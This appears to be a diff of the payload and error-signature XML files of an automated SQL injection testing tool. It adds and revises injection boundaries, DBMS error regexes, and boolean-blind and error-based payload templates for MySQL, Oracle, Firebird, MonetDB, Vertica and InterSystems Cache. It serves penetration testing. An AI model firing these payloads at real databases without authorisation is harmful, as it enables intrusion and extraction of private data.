<prefix>+(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM]</prefix>
|
||||
<suffix>)+</suffix>
|
||||
</boundary>
|
||||
|
||||
<boundary>
|
||||
<level>5</level>
|
||||
<clause>9</clause>
|
||||
<where>1</where>
|
||||
<ptype>2</ptype>
|
||||
<prefix>'+(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM]</prefix>
|
||||
<suffix>)+'</suffix>
|
||||
</boundary>
|
||||
<!-- End of pre-WHERE generic boundaries -->
|
||||
|
||||
<!-- Pre-WHERE derived table boundaries - e.g. "SELECT * FROM (SELECT column FROM table WHERE column LIKE '%$_REQUEST["name"]%') AS t1"-->
|
||||
@@ -461,14 +420,6 @@ Formats:
|
||||
<suffix>[GENERIC_SQL_COMMENT]</suffix>
|
||||
</boundary>
|
||||
|
||||
<boundary>
|
||||
<level>5</level>
|
||||
<clause>1</clause>
|
||||
<where>1,2</where>
|
||||
<ptype>2</ptype>
|
||||
<prefix>")) AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM]</prefix>
|
||||
<suffix>[GENERIC_SQL_COMMENT]</suffix>
|
||||
</boundary>
|
||||
|
||||
<boundary>
|
||||
<level>5</level>
|
||||
@@ -510,21 +461,25 @@ Formats:
|
||||
<level>4</level>
|
||||
<clause>1</clause>
|
||||
<where>1</where>
|
||||
<ptype>1</ptype>
|
||||
<ptype>6</ptype>
|
||||
<prefix>` WHERE [RANDNUM]=[RANDNUM]</prefix>
|
||||
<suffix>[GENERIC_SQL_COMMENT]</suffix>
|
||||
</boundary>
|
||||
|
||||
<boundary>
|
||||
<level>5</level>
|
||||
<clause>1</clause>
|
||||
<where>1</where>
|
||||
<ptype>1</ptype>
|
||||
<prefix>`) WHERE [RANDNUM]=[RANDNUM]</prefix>
|
||||
<suffix>[GENERIC_SQL_COMMENT]</suffix>
|
||||
</boundary>
|
||||
<!-- End of pre-WHERE derived table boundaries -->
|
||||
|
||||
<!-- Block-comment escape: injection point sits INSIDE /* ... */ (e.g. a query tag / trace / tenant
|
||||
annotation). '*/' terminates the app comment, the test runs, '/*' re-opens a comment that the
|
||||
app's original '*/' closes. Inert (stays inside the literal) when the value is not in a comment. -->
|
||||
<boundary>
|
||||
<level>4</level>
|
||||
<clause>1,2,3</clause>
|
||||
<where>1,2</where>
|
||||
<ptype>7</ptype>
|
||||
<prefix>*/</prefix>
|
||||
<suffix>/*</suffix>
|
||||
</boundary>
|
||||
|
||||
<!-- Escaped column name (e.g. SELECT `...` FROM table) boundaries -->
|
||||
<boundary>
|
||||
<level>4</level>
|
||||
@@ -558,7 +513,7 @@ Formats:
|
||||
<level>5</level>
|
||||
<clause>7</clause>
|
||||
<where>1</where>
|
||||
<ptype>3</ptype>
|
||||
<ptype>6</ptype>
|
||||
<prefix> [RANDSTR1],</prefix>
|
||||
<suffix> [RANDSTR2]</suffix>
|
||||
</boundary>
|
||||
@@ -573,4 +528,48 @@ Formats:
|
||||
<suffix>#</suffix>
|
||||
</boundary>
|
||||
<!-- End of AGAINST boolean full-text search boundaries -->
|
||||
|
||||
<!-- Alternative quoted string delimiters where ' and " have no terminating effect:
|
||||
PostgreSQL $$...$$ dollar quoting, Oracle q'[...]' / q'{...}' / q'(...)' / q'<...>'. -->
|
||||
<boundary>
|
||||
<level>5</level>
|
||||
<clause>1</clause>
|
||||
<where>1,2</where>
|
||||
<ptype>8</ptype>
|
||||
<prefix>$$</prefix>
|
||||
<suffix>[GENERIC_SQL_COMMENT]</suffix>
|
||||
</boundary>
|
||||
<boundary>
|
||||
<level>5</level>
|
||||
<clause>1</clause>
|
||||
<where>1,2</where>
|
||||
<ptype>8</ptype>
|
||||
<prefix>]'</prefix>
|
||||
<suffix>[GENERIC_SQL_COMMENT]</suffix>
|
||||
</boundary>
|
||||
<boundary>
|
||||
<level>5</level>
|
||||
<clause>1</clause>
|
||||
<where>1,2</where>
|
||||
<ptype>8</ptype>
|
||||
<prefix>}'</prefix>
|
||||
<suffix>[GENERIC_SQL_COMMENT]</suffix>
|
||||
</boundary>
|
||||
<boundary>
|
||||
<level>5</level>
|
||||
<clause>1</clause>
|
||||
<where>1,2</where>
|
||||
<ptype>8</ptype>
|
||||
<prefix>)'</prefix>
|
||||
<suffix>[GENERIC_SQL_COMMENT]</suffix>
|
||||
</boundary>
|
||||
<boundary>
|
||||
<level>5</level>
|
||||
<clause>1</clause>
|
||||
<where>1,2</where>
|
||||
<ptype>8</ptype>
|
||||
<prefix>>'</prefix>
|
||||
<suffix>[GENERIC_SQL_COMMENT]</suffix>
|
||||
</boundary>
|
||||
<!-- End of alternative quoted string boundaries -->
|
||||
</root>
|
||||
|
||||
+21
-2
@@ -16,6 +16,8 @@
|
||||
<error regexp="Zend_Db_(Adapter|Statement)_Mysqli_Exception"/>
|
||||
<error regexp="Pdo[./_\\]Mysql"/>
|
||||
<error regexp="MySqlException"/>
|
||||
<error regexp="pymysql\.err\."/>
|
||||
<error regexp="MySQLdb\.(_exceptions\.|\w+Error)"/>
|
||||
<error regexp="MemSQL does not support this type of query" fork="MemSQL"/>
|
||||
<error regexp="is not supported by MemSQL" fork="MemSQL"/>
|
||||
<error regexp="unsupported nested scalar subselect" fork="MemSQL"/>
|
||||
@@ -34,6 +36,8 @@
|
||||
<error regexp="org\.postgresql\.jdbc"/>
|
||||
<error regexp="Pdo[./_\\]Pgsql"/>
|
||||
<error regexp="PSQLException"/>
|
||||
<error regexp="psycopg2?\.(errors\.|\w+Error)"/>
|
||||
<error regexp="asyncpg\.(exceptions\.|\w+Error)"/>
|
||||
</dbms>
|
||||
|
||||
<dbms value="Microsoft SQL Server">
|
||||
@@ -78,6 +82,8 @@
|
||||
<error regexp="Zend_Db_(Adapter|Statement)_Oracle_Exception"/>
|
||||
<error regexp="Pdo[./_\\](Oracle|OCI)"/>
|
||||
<error regexp="OracleException"/>
|
||||
<error regexp="cx_Oracle\.\w+Error"/>
|
||||
<error regexp="oracledb\.(exceptions\.|\w+Error)"/>
|
||||
</dbms>
|
||||
|
||||
<dbms value="IBM DB2">
|
||||
@@ -173,6 +179,7 @@
|
||||
<error regexp="![0-9]{5}![^\n]+(failed|unexpected|error|syntax|expected|violation|exception)"/>
|
||||
<error regexp="\[MonetDB\]\[ODBC Driver"/>
|
||||
<error regexp="nl\.cwi\.monetdb\.jdbc"/>
|
||||
<error regexp="org\.monetdb\.jdbc"/>
|
||||
</dbms>
|
||||
|
||||
<dbms value="Apache Derby">
|
||||
@@ -218,10 +225,15 @@
|
||||
</dbms>
|
||||
|
||||
<dbms value="CrateDB">
|
||||
<error regexp="io\.crate\.client\.jdbc"/>
|
||||
<error regexp="io\.crate\."/>
|
||||
</dbms>
|
||||
|
||||
<dbms value="Cache">
|
||||
<dbms value="Cubrid">
|
||||
<error regexp="\[CAS INFO"/>
|
||||
<error regexp="cubrid\.jdbc\.driver"/>
|
||||
</dbms>
|
||||
|
||||
<dbms value="InterSystems Cache">
|
||||
<error regexp="encountered after end of query"/>
|
||||
<error regexp="A comparison operator is required here"/>
|
||||
</dbms>
|
||||
@@ -249,4 +261,11 @@
|
||||
<dbms value="Spanner">
|
||||
<error regexp="type.googleapis.com/zetasql.ErrorMessageModeForPayload"/>
|
||||
</dbms>
|
||||
|
||||
<dbms value="SAP HANA">
|
||||
<error regexp="SAP DBTech JDBC"/>
|
||||
<error regexp="invalid number: not a valid number string"/>
|
||||
<error regexp="sql syntax error:.*?\(at pos \d+\)"/>
|
||||
<error regexp="inserted value too large for column"/>
|
||||
</dbms>
|
||||
</root>
|
||||
|
||||
@@ -598,7 +598,7 @@ Tag: <test>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>SQLite AND boolean-based blind - WHERE, HAVING, GROUP BY or HAVING clause (JSON)</title>
|
||||
<title>SQLite AND boolean-based blind - WHERE or HAVING clause (JSON)</title>
|
||||
<stype>1</stype>
|
||||
<level>2</level>
|
||||
<risk>1</risk>
|
||||
@@ -617,7 +617,7 @@ Tag: <test>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>SQLite OR boolean-based blind - WHERE, HAVING, GROUP BY or HAVING clause (JSON)</title>
|
||||
<title>SQLite OR boolean-based blind - WHERE or HAVING clause (JSON)</title>
|
||||
<stype>1</stype>
|
||||
<level>3</level>
|
||||
<risk>3</risk>
|
||||
@@ -1109,46 +1109,6 @@ Tag: <test>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>MySQL < 5.0 boolean-based blind - ORDER BY, GROUP BY clause</title>
|
||||
<stype>1</stype>
|
||||
<level>3</level>
|
||||
<risk>1</risk>
|
||||
<clause>2,3</clause>
|
||||
<where>1</where>
|
||||
<vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</vector>
|
||||
<request>
|
||||
<payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</payload>
|
||||
</request>
|
||||
<response>
|
||||
<comparison>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</comparison>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>MySQL</dbms>
|
||||
<dbms_version>< 5.0</dbms_version>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>MySQL < 5.0 boolean-based blind - ORDER BY, GROUP BY clause (original value)</title>
|
||||
<stype>1</stype>
|
||||
<level>4</level>
|
||||
<risk>1</risk>
|
||||
<clause>2,3</clause>
|
||||
<where>1</where>
|
||||
<vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</vector>
|
||||
<request>
|
||||
<payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</payload>
|
||||
</request>
|
||||
<response>
|
||||
<comparison>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</comparison>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>MySQL</dbms>
|
||||
<dbms_version>< 5.0</dbms_version>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>PostgreSQL boolean-based blind - ORDER BY, GROUP BY clause</title>
|
||||
<stype>1</stype>
|
||||
@@ -1445,27 +1405,6 @@ Tag: <test>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>MySQL < 5.0 boolean-based blind - Stacked queries</title>
|
||||
<stype>1</stype>
|
||||
<level>5</level>
|
||||
<risk>1</risk>
|
||||
<clause>1-8</clause>
|
||||
<where>1</where>
|
||||
<vector>;SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)</vector>
|
||||
<request>
|
||||
<payload>;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)</payload>
|
||||
<comment>#</comment>
|
||||
</request>
|
||||
<response>
|
||||
<comparison>;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)</comparison>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>MySQL</dbms>
|
||||
<dbms_version>< 5.0</dbms_version>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>PostgreSQL boolean-based blind - Stacked queries</title>
|
||||
<stype>1</stype>
|
||||
|
||||
@@ -2,6 +2,88 @@
|
||||
|
||||
<root>
|
||||
<!-- Error-based tests - WHERE, HAVING, ORDER BY or GROUP BY clause -->
|
||||
<!-- GTID_SUBSET before EXTRACTVALUE: its error reflects ~200 chars vs ~31, so far fewer requests -->
|
||||
<test>
|
||||
<title>MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)</title>
|
||||
<stype>2</stype>
|
||||
<level>2</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,8,9</clause>
|
||||
<where>1</where>
|
||||
<vector>AND GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector>
|
||||
<request>
|
||||
<payload>AND GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>MySQL</dbms>
|
||||
<dbms_version>>= 5.6</dbms_version>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)</title>
|
||||
<stype>2</stype>
|
||||
<level>2</level>
|
||||
<risk>3</risk>
|
||||
<clause>1,8,9</clause>
|
||||
<where>1</where>
|
||||
<vector>OR GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector>
|
||||
<request>
|
||||
<payload>OR GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>MySQL</dbms>
|
||||
<dbms_version>>= 5.6</dbms_version>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<!-- UUID_TO_BIN backup (MySQL 8.0+, exclusive): ~128-char echo vs EXTRACTVALUE's ~31 if GTID_SUBSET is filtered -->
|
||||
<test>
|
||||
<title>MySQL >= 8.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UUID_TO_BIN)</title>
|
||||
<stype>2</stype>
|
||||
<level>5</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,8,9</clause>
|
||||
<where>1</where>
|
||||
<vector>AND [RANDNUM]=UUID_TO_BIN(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))</vector>
|
||||
<request>
|
||||
<payload>AND [RANDNUM]=UUID_TO_BIN(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>MySQL</dbms>
|
||||
<dbms_version>>= 8.0</dbms_version>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>MySQL >= 8.0 OR error-based - WHERE or HAVING clause (UUID_TO_BIN)</title>
|
||||
<stype>2</stype>
|
||||
<level>5</level>
|
||||
<risk>3</risk>
|
||||
<clause>1,8,9</clause>
|
||||
<where>1</where>
|
||||
<vector>OR [RANDNUM]=UUID_TO_BIN(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))</vector>
|
||||
<request>
|
||||
<payload>OR [RANDNUM]=UUID_TO_BIN(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>MySQL</dbms>
|
||||
<dbms_version>>= 8.0</dbms_version>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)</title>
|
||||
<stype>2</stype>
|
||||
@@ -51,46 +133,6 @@
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)</title>
|
||||
<stype>2</stype>
|
||||
<level>2</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,8,9</clause>
|
||||
<where>1</where>
|
||||
<vector>AND GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector>
|
||||
<request>
|
||||
<payload>AND GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>MySQL</dbms>
|
||||
<dbms_version>>= 5.6</dbms_version>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)</title>
|
||||
<stype>2</stype>
|
||||
<level>2</level>
|
||||
<risk>3</risk>
|
||||
<clause>1,8,9</clause>
|
||||
<where>1</where>
|
||||
<vector>OR GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector>
|
||||
<request>
|
||||
<payload>OR GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>MySQL</dbms>
|
||||
<dbms_version>>= 5.6</dbms_version>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)</title>
|
||||
<stype>2</stype>
|
||||
@@ -271,7 +313,7 @@
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>MySQL >= 5.0 (inline) error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)</title>
|
||||
<title>MySQL >= 5.0 (inline) error-based - Table name clause (FLOOR)</title>
|
||||
<stype>2</stype>
|
||||
<level>5</level>
|
||||
<risk>1</risk>
|
||||
@@ -593,7 +635,7 @@
|
||||
<risk>3</risk>
|
||||
<clause>1,9</clause>
|
||||
<where>2</where>
|
||||
<vector>OR [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</vector>
|
||||
<vector>OR [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'),'#','[HASH_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</vector>
|
||||
<request>
|
||||
<payload>OR [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</payload>
|
||||
</request>
|
||||
@@ -608,7 +650,7 @@
|
||||
<test>
|
||||
<title>Oracle AND error-based - WHERE or HAVING clause (UTL_INADDR.GET_HOST_ADDRESS)</title>
|
||||
<stype>2</stype>
|
||||
<level>2</level>
|
||||
<level>4</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,9</clause>
|
||||
<where>1</where>
|
||||
@@ -628,7 +670,7 @@
|
||||
<test>
|
||||
<title>Oracle OR error-based - WHERE or HAVING clause (UTL_INADDR.GET_HOST_ADDRESS)</title>
|
||||
<stype>2</stype>
|
||||
<level>2</level>
|
||||
<level>4</level>
|
||||
<risk>3</risk>
|
||||
<clause>1,9</clause>
|
||||
<where>2</where>
|
||||
@@ -686,7 +728,7 @@
|
||||
<test>
|
||||
<title>Oracle AND error-based - WHERE or HAVING clause (DBMS_UTILITY.SQLID_TO_SQLHASH)</title>
|
||||
<stype>2</stype>
|
||||
<level>4</level>
|
||||
<level>2</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,9</clause>
|
||||
<where>1</where>
|
||||
@@ -705,7 +747,7 @@
|
||||
<test>
|
||||
<title>Oracle OR error-based - WHERE or HAVING clause (DBMS_UTILITY.SQLID_TO_SQLHASH)</title>
|
||||
<stype>2</stype>
|
||||
<level>4</level>
|
||||
<level>2</level>
|
||||
<risk>3</risk>
|
||||
<clause>1,9</clause>
|
||||
<where>2</where>
|
||||
@@ -728,9 +770,10 @@
|
||||
<risk>1</risk>
|
||||
<clause>1</clause>
|
||||
<where>1</where>
|
||||
<vector>AND [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
|
||||
<!-- BIN_SHL (Firebird-exclusive) encloses the value-bearing BIGINT cast: reflects on Firebird, fails to bind elsewhere -->
|
||||
<vector>AND [RANDNUM]=BIN_SHL(CAST('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]' AS BIGINT),1)</vector>
|
||||
<request>
|
||||
<payload>AND [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END FROM RDB$DATABASE)||'[DELIMITER_STOP]')</payload>
|
||||
<payload>AND [RANDNUM]=BIN_SHL(CAST('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END FROM RDB$DATABASE)||'[DELIMITER_STOP]' AS BIGINT),1)</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
@@ -747,9 +790,9 @@
|
||||
<risk>3</risk>
|
||||
<clause>1</clause>
|
||||
<where>2</where>
|
||||
<vector>OR [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
|
||||
<vector>OR [RANDNUM]=BIN_SHL(CAST('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]' AS BIGINT),1)</vector>
|
||||
<request>
|
||||
<payload>OR [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END FROM RDB$DATABASE)||'[DELIMITER_STOP]')</payload>
|
||||
<payload>OR [RANDNUM]=BIN_SHL(CAST('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END FROM RDB$DATABASE)||'[DELIMITER_STOP]' AS BIGINT),1)</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
@@ -766,9 +809,10 @@
|
||||
<risk>1</risk>
|
||||
<clause>1</clause>
|
||||
<where>1</where>
|
||||
<vector>AND [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
|
||||
<!-- ms_trunc (MonetDB-exclusive) encloses the value-bearing DECIMAL cast: reflects on MonetDB, fails to bind elsewhere -->
|
||||
<vector>AND [RANDNUM]=(SELECT ms_trunc(CAST('[DELIMITER_START]'||CAST(([QUERY]) AS VARCHAR)||'[DELIMITER_STOP]' AS DECIMAL),1))</vector>
|
||||
<request>
|
||||
<payload>AND [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN CODE(49) ELSE CODE(48) END)||'[DELIMITER_STOP]')</payload>
|
||||
<payload>AND [RANDNUM]=(SELECT ms_trunc(CAST('[DELIMITER_START]'||CAST((SELECT CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) AS VARCHAR)||'[DELIMITER_STOP]' AS DECIMAL),1))</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
@@ -785,9 +829,9 @@
|
||||
<risk>3</risk>
|
||||
<clause>1</clause>
|
||||
<where>2</where>
|
||||
<vector>OR [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
|
||||
<vector>OR [RANDNUM]=(SELECT ms_trunc(CAST('[DELIMITER_START]'||CAST(([QUERY]) AS VARCHAR)||'[DELIMITER_STOP]' AS DECIMAL),1))</vector>
|
||||
<request>
|
||||
<payload>OR [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN CODE(49) ELSE CODE(48) END)||'[DELIMITER_STOP]')</payload>
|
||||
<payload>OR [RANDNUM]=(SELECT ms_trunc(CAST('[DELIMITER_START]'||CAST((SELECT CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) AS VARCHAR)||'[DELIMITER_STOP]' AS DECIMAL),1))</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
@@ -804,9 +848,10 @@
|
||||
<risk>1</risk>
|
||||
<clause>1</clause>
|
||||
<where>1</where>
|
||||
<vector>AND [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC)</vector>
|
||||
<!-- ZEROIFNULL (Vertica-exclusive) encloses the value-bearing NUMERIC cast: reflects on Vertica, fails to bind elsewhere -->
|
||||
<vector>AND [RANDNUM]=ZEROIFNULL(CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC))</vector>
|
||||
<request>
|
||||
<payload>AND [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN BITCOUNT(BITSTRING_TO_BINARY('1')) ELSE BITCOUNT(BITSTRING_TO_BINARY('0')) END))::varchar||'[DELIMITER_STOP]' AS NUMERIC)</payload>
|
||||
<payload>AND [RANDNUM]=ZEROIFNULL(CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN BITCOUNT(BITSTRING_TO_BINARY('1')) ELSE BITCOUNT(BITSTRING_TO_BINARY('0')) END))::varchar||'[DELIMITER_STOP]' AS NUMERIC))</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
@@ -823,9 +868,9 @@
|
||||
<risk>3</risk>
|
||||
<clause>1</clause>
|
||||
<where>2</where>
|
||||
<vector>OR [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC)</vector>
|
||||
<vector>OR [RANDNUM]=ZEROIFNULL(CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC))</vector>
|
||||
<request>
|
||||
<payload>OR [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN BITCOUNT(BITSTRING_TO_BINARY('1')) ELSE BITCOUNT(BITSTRING_TO_BINARY('0')) END))::varchar||'[DELIMITER_STOP]' AS NUMERIC)</payload>
|
||||
<payload>OR [RANDNUM]=ZEROIFNULL(CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN BITCOUNT(BITSTRING_TO_BINARY('1')) ELSE BITCOUNT(BITSTRING_TO_BINARY('0')) END))::varchar||'[DELIMITER_STOP]' AS NUMERIC))</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
@@ -835,6 +880,123 @@
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>InterSystems Cache AND error-based - WHERE or HAVING clause</title>
|
||||
<stype>2</stype>
|
||||
<level>5</level>
|
||||
<risk>1</risk>
|
||||
<clause>1</clause>
|
||||
<where>1</where>
|
||||
<!-- TO_POSIXTIME (Cache/IRIS-exclusive) encloses TO_DATE, whose "Invalid input" error echoes the evaluated value -->
|
||||
<vector>AND [RANDNUM]=TO_POSIXTIME(TO_DATE('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]','YYYY'))</vector>
|
||||
<request>
|
||||
<payload>AND [RANDNUM]=TO_POSIXTIME(TO_DATE('[DELIMITER_START]'||(SELECT CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)||'[DELIMITER_STOP]','YYYY'))</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
</response>
|
||||
<details>
|
||||
